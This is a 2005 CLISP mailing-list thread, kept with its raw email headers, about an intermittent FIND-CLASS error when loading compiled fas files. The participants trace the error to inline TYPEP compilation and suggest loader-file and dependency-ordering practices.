X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 22:39:22 2005 X-Original-Date: Mon, 5 Sep 2005 07:38:18 +0200 Takehiko Abe writes: > I am getting an error "FIND-CLASS: XXX does not name a class" > while loading a fas file. > > Here's a test case: > > I have two files "file-a.lisp" and "file-b.lisp": > > ;;; file-a.lisp: > > (defun foo (obj) > (map nil #'(lambda (item) > (when (typep item 'bar) > (print 'bar))) > (list obj))) > > ;;; file-b.lisp > > (defclass bar () ()) > > ;;; > > Both files load and compile fine. However, when I load > file-a.fas (after restart) I frequently but not always get > an error reporting: > > "FIND-CLASS: BAR does not name a class" > > The problem is not consistent. Sometimes a compiled > fas file loads fine without error until I recompile it > or just for a while. I tried (lambda ...) instead of > #'(lambda ...) and the problem seemed to go away ... > again for a while. And sometimes I cannot reproduce the > error for a while. The type (class) bar is defined in file-b. So you must always load file-b before loading file-a. Instead of writing (load "file-a"), write: (load"loader") and put: (load "file-b") (load "file-a") in loader.lisp #'(lambda ...) is a pleonasm. Always write just: (lambda ...) -- __Pascal Bourguignon__ http://www.informatimago.com/ Grace personified, I leap into the window. I meant to do that. From keke@gol.com Sun Sep 04 23:03:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECA5G-0008Fq-AR for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:03:58 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECA5E-0003iX-V0 for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:03:58 -0700 Received: from d135.gosakafl32.vectant.ne.jp ([163.139.46.135] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECA59-0007bT-2u; Mon, 05 Sep 2005 15:03:51 +0900 From: "Takehiko Abe" To: Cc: "Clisp List" Subject: Re: [clisp-list] puzzling error while loading fas file. Message-Id: <20050905060315.27255@roaming.gol.com> In-Reply-To: <17179.55754.174307.530245@thalassa.informatimago.com> References: <17179.55754.174307.530245@thalassa.informatimago.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 23:04:20 2005 X-Original-Date: Mon, 5 Sep 2005 15:03:15 +0900 Pascal Bourguignon wrote: > The type (class) bar is defined in file-b. So you must always load > file-b before loading file-a. But it is defined at runtime. Why should it error at load time? From sds@gnu.org Sun Sep 04 23:36:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECAaL-0000tW-CA for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:36:05 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECAaJ-0001pe-TL for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:36:05 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Sep 2005 02:36:02 -0400 X-IronPort-AV: i="3.96,168,1122868800"; d="scan'208"; a="77978680:sNHT20939304" To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050905060315.27255@roaming.gol.com> (Takehiko Abe's message of "Mon, 5 Sep 2005 15:03:15 +0900") References: <17179.55754.174307.530245@thalassa.informatimago.com> <20050905060315.27255@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 23:37:07 2005 X-Original-Date: Mon, 05 Sep 2005 02:35:07 -0400 > * Takehiko Abe [2005-09-05 15:03:15 +0900]: > > Pascal Bourguignon wrote: > >> The type (class) bar is defined in file-b. So you must always load >> file-b before loading file-a. > > But it is defined at runtime. Why should it error at load time? defmethod requires that the specializers name existing classes -- Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From keke@gol.com Sun Sep 04 23:45:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECAjd-00018w-CE for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:45:41 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECAjb-0003w7-SE for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:45:41 -0700 Received: from d135.gosakafl32.vectant.ne.jp ([163.139.46.135] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECAjZ-0003n8-Vd; Mon, 05 Sep 2005 15:45:38 +0900 From: "Takehiko Abe" To: , "Sam Steingold" Message-Id: <20050905064503.9485@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 23:46:18 2005 X-Original-Date: Mon, 5 Sep 2005 15:45:03 +0900 Sam Steingold wrote: > >> The type (class) bar is defined in file-b. So you must always load > >> file-b before loading file-a. > > > > But it is defined at runtime. Why should it error at load time? > > defmethod requires that the specializers name existing classes > Yes, but I don't define a method there. besides, the error is rather random. The current set of fas files loads fine. From keke@gol.com Sun Sep 04 23:51:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECApD-0001Fn-TJ for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:51:27 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECApD-0005Rj-Mq for clisp-list@lists.sourceforge.net; Sun, 04 Sep 2005 23:51:28 -0700 Received: from d135.gosakafl32.vectant.ne.jp ([163.139.46.135] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECApA-0004M8-E6; Mon, 05 Sep 2005 15:51:24 +0900 From: "Takehiko Abe" To: Cc: "Clisp List" Subject: Re: [clisp-list] puzzling error while loading fas file. Message-Id: <20050905065034.20810@roaming.gol.com> In-Reply-To: <17179.55754.174307.530245@thalassa.informatimago.com> References: <17179.55754.174307.530245@thalassa.informatimago.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 4 23:52:17 2005 X-Original-Date: Mon, 5 Sep 2005 15:50:34 +0900 [off-topic] Pascal Bourguignon wrote: > #'(lambda ...) is a pleonasm. Always write just: (lambda ...) Isn't it purely a style issue? If so, I think I can argue the other way. $ (macroexpand '(lambda () nil)) #'(LAMBDA NIL NIL) T Why use macro where you don't have to? Personally I think #'(lambda ) is prettier. From keke@gol.com Mon Sep 05 00:42:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECBcv-00037W-Ur for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 00:42:49 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECBcu-0000qQ-LQ for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 00:42:50 -0700 Received: from d135.gosakafl32.vectant.ne.jp ([163.139.46.135] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECBcq-0001yo-Ak; Mon, 05 Sep 2005 16:42:44 +0900 From: "Takehiko Abe" To: me , , "Sam Steingold" Subject: Re: [clisp-list] Re: puzzling error while loading fas file. Message-Id: <20050905074205.21277@roaming.gol.com> In-Reply-To: <20050905064503.9485@roaming.gol.com> References: <20050905064503.9485@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 00:43:24 2005 X-Original-Date: Mon, 5 Sep 2005 16:42:05 +0900 I wrote: > besides, the error is rather random. The current set of fas files > loads fine. The fas file that errors on me contains the line: #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|) When it does not, it loads fine. My guess is that if clisp knows that BAR is a class at compile time, it uses FIND-CLASS in the fas file. So a solution is that I do not recompile source files repeatedly just for fun and always start with a fresh clisp image when recompilation is necessary. From pjb@informatimago.com Mon Sep 05 06:54:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECHQO-00015N-On for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 06:54:16 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECHQN-0003Kc-6V for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 06:54:16 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E9BBC58344; Mon, 5 Sep 2005 15:54:00 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 285E9582FA; Mon, 5 Sep 2005 15:53:57 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1FB6710F9F6; Mon, 5 Sep 2005 15:53:57 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17180.19956.994884.842519@thalassa.informatimago.com> To: "Takehiko Abe" Cc: "Clisp List" Subject: Re: [clisp-list] puzzling error while loading fas file. In-Reply-To: <20050905065034.20810@roaming.gol.com> References: <17179.55754.174307.530245@thalassa.informatimago.com> <20050905065034.20810@roaming.gol.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 06:55:05 2005 X-Original-Date: Mon, 5 Sep 2005 15:53:56 +0200 Takehiko Abe writes: > [off-topic] > > Pascal Bourguignon wrote: > > > #'(lambda ...) is a pleonasm. Always write just: (lambda ...) > > Isn't it purely a style issue? If so, I think I can argue the > other way. > > $ (macroexpand '(lambda () nil)) > > #'(LAMBDA NIL NIL) > T > > Why use macro where you don't have to? Perhaps because some smarts may be implemented into the macros. If you prevent the macro expansion, perhaps you won't reap the benefits. > Personally I think #'(lambda ) is prettier. Note that #'... is defined to expand to (common-lisp:function ...) and common-lisp:function is defined only with common-lisp:lambda, not with any random lambda symbol. So if you write #'(lambda ...) it would be safer to write it as: #'(common-lisp:lambda ...). Then, when lambda is shadowed and reimplemented as a smarter macro, your #'(cl:lambda ...) will still work, and my (lambda ...) too, but mine will be smarter ;-) -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From pjb@informatimago.com Mon Sep 05 07:23:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECHsZ-0002aA-9j for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 07:23:23 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECHsY-00032r-2s for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 07:23:23 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6AAFE58344; Mon, 5 Sep 2005 16:23:03 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 13EFA582FA; Mon, 5 Sep 2005 16:22:56 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 299BD10F9F6; Mon, 5 Sep 2005 16:22:56 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17180.21695.971878.373605@thalassa.informatimago.com> To: "Takehiko Abe" Cc: , "Sam Steingold" Subject: Re: [clisp-list] Re: puzzling error while loading fas file. In-Reply-To: <20050905074205.21277@roaming.gol.com> References: <20050905064503.9485@roaming.gol.com> <20050905074205.21277@roaming.gol.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 07:24:06 2005 X-Original-Date: Mon, 5 Sep 2005 16:22:55 +0200 Takehiko Abe writes: > I wrote: > > > besides, the error is rather random. The current set of fas files > > loads fine. > > The fas file that errors on me contains the line: > > #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|) > > When it does not, it loads fine. > > My guess is that if clisp knows that BAR is a class at compile > time, it uses FIND-CLASS in the fas file. > > So a solution is that I do not recompile source files repeatedly > just for fun and always start with a fresh clisp image when > recompilation is necessary. Actually, a fresh clisp image is not strictly necessary. What happens, is that when you start with a fresh image when compiling or when loading compiled files, you'll see more errors if you're not careful to load the needed dependencies. If you don't start with a fresh image, when you recompile or reload, the dependencies are all in the image, so less problem occur. If you want to recompile and reload a minimum of files (in a complex project), you should use asdf that will sort the treillis of dependencies (that you must explicitely state in the asdf system definition file, at least the direct dependencies). If your project is small enough that you don't mindr recompiling or reloading it whole, you just write a loader file as I hinted previously. Here is what I put in my loader.lisp: (defvar *compile* nil "Whether loaded files must be compiled too.") (defun process (file) (if *compile* (compile-file file) file)) (defun load-app-file (name) (load (process (make-pathname :directory *source-directory* ; '(:relative) for example :name name :type "LISP" :version :newest)))) (defun lapp () (dolist (name '("FILE-B" ; file-b doesn't depend on file-c or file-a "FILE-A" ; file-a doesn't depend on file-c "FILE-C")) (load-app-file name))) (DEFUN SAVE-IMAGE () (ext:saveinitmem "MyApplication.mem.gz" :quiet t :verbose nil :init-function (function MY-APP:MAIN) :start-package (find-package "MY-APP"))) (lapp) When I need to reload compiled files: (setf *compile* t) (lapp) When I need to reload the sources: (setf *compile* nil) (lapp) When I need to save the executable: (setf *compile* t) (lapp) (save-image) otherwise I rarely compile my clisp programs while developing... -- "A TRUE Klingon warrior does not comment his code!" From keke@gol.com Mon Sep 05 08:37:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECJ2M-0005o3-F8 for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 08:37:34 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECJ2L-0004it-4J for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 08:37:34 -0700 Received: from [163.139.46.135] (helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECIkB-0007Wg-M3; Tue, 06 Sep 2005 00:18:48 +0900 From: "Takehiko Abe" To: Cc: , "Sam Steingold" Subject: Re: [clisp-list] Re: puzzling error while loading fas file. Message-Id: <20050905151810.17939@roaming.gol.com> In-Reply-To: <17180.21695.971878.373605@thalassa.informatimago.com> References: <17180.21695.971878.373605@thalassa.informatimago.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 08:38:29 2005 X-Original-Date: Tue, 6 Sep 2005 00:18:10 +0900 Pascal Bourguignon wrote: > > The fas file that errors on me contains the line: > > > > #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|) > > > > When it does not, it loads fine. > > > > My guess is that if clisp knows that BAR is a class at compile > > time, it uses FIND-CLASS in the fas file. > > > > So a solution is that I do not recompile source files repeatedly > > just for fun and always start with a fresh clisp image when > > recompilation is necessary. > > Actually, a fresh clisp image is not strictly necessary. > > What happens, is that when you start with a fresh image when compiling > or when loading compiled files, you'll see more errors if you're not > careful to load the needed dependencies. No that's not what happened. The reverse was the case. > > If you don't start with a fresh image, when you recompile or reload, > the dependencies are all in the image, so less problem occur. You completely missed the point. The error is signaled not because the BAR class is not present but rather because it _is_ present at the compile time. So, in this particular case, a fresh image happens to produce one less error. I claim that this dependency should not be necessary. This is not like defmacro or defmethod --- it is about compiling TYPEP. This kind of dependency is not desirable, and I want to call it a bug. > > If you want to recompile and reload a minimum of files (in a complex > project), you should use asdf I use defsystem and it is not a secret. I said I'm using mk defsystem 3.5i in the first post. From sds@gnu.org Mon Sep 05 09:36:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECJwz-000832-To for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 09:36:05 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECJwt-0002Ty-UE for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 09:36:06 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Sep 2005 12:35:59 -0400 X-IronPort-AV: i="3.96,169,1122868800"; d="scan'208"; a="78083766:sNHT22086684" To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050905151810.17939@roaming.gol.com> (Takehiko Abe's message of "Tue, 6 Sep 2005 00:18:10 +0900") References: <17180.21695.971878.373605@thalassa.informatimago.com> <20050905151810.17939@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 09:37:47 2005 X-Original-Date: Mon, 05 Sep 2005 12:35:03 -0400 > * Takehiko Abe [2005-09-06 00:18:10 +0900]: > > This is not like defmacro or defmethod --- it is about compiling > TYPEP. Finally, some relevant information. Indeed, CLISP compiles TYPEP inline (see clisp/src/compiler.lisp:c-TYPEP) when the type argument is available at compile time. If your program does not support that, it is not "conforming", see : Classes defined by defclass in the compilation environment must be defined at run time to have the same superclasses and same metaclass. Please make sure that your mailer respects "Reply-to" and "Mail-Copies-To" headers. -- Sam Steingold (http://www.podval.org/~sds) running w2k Takeoffs are optional. Landings are mandatory. From keke@gol.com Mon Sep 05 18:39:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECSQx-0003Vj-Bi for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 18:39:35 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECSQw-00067U-6y for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 18:39:35 -0700 Received: from d168.gosakafl24.vectant.ne.jp ([202.215.177.168] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECSQn-00040g-8v for ; Tue, 06 Sep 2005 10:39:25 +0900 From: "Takehiko Abe" To: Message-Id: <20050906013821.3295@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 